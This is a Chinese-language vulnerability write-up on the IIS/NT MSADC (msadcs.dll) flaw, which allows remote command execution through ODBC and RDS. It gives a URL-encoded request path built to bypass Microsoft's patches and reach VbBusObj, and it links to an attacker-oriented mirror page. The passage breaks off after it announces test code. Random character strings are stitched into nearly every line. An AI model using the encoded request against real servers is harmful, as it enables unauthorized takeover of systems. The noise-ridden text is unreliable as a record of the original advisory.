IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
S0X.8Bq &z1| 涉及程序:
MC[`<W)u Microsoft NT server
H-PW( 3tx0y 描述:
!kjr>:)x 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
v>yGsJnV' ,
.NG.Q4f 详细:
N23+1 h 如果你没有时间读详细内容的话,就删除:
B[2h c:\Program Files\Common Files\System\Msadc\msadcs.dll
_
cHV3cz 有关的安全问题就没有了。
Dg];(c+/ 96([V|5K 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7J</7\ ?3KR(6D 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
;NN(CKZ9A 关于利用ODBC远程漏洞的描述,请参看:
9 Le/'o vq v\r7.l:hf http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8kn]_6:3i HCn]# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`eA&C4oFOO http://www.microsoft.com/security/bulletins/MS99-025faq.asp u:qD*zOq ~L Bq5a 这里不再论述。
VAG+y/q zN8&M<mTl 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
^`B##9g~ E?;T:7.% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>(1_Dn\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
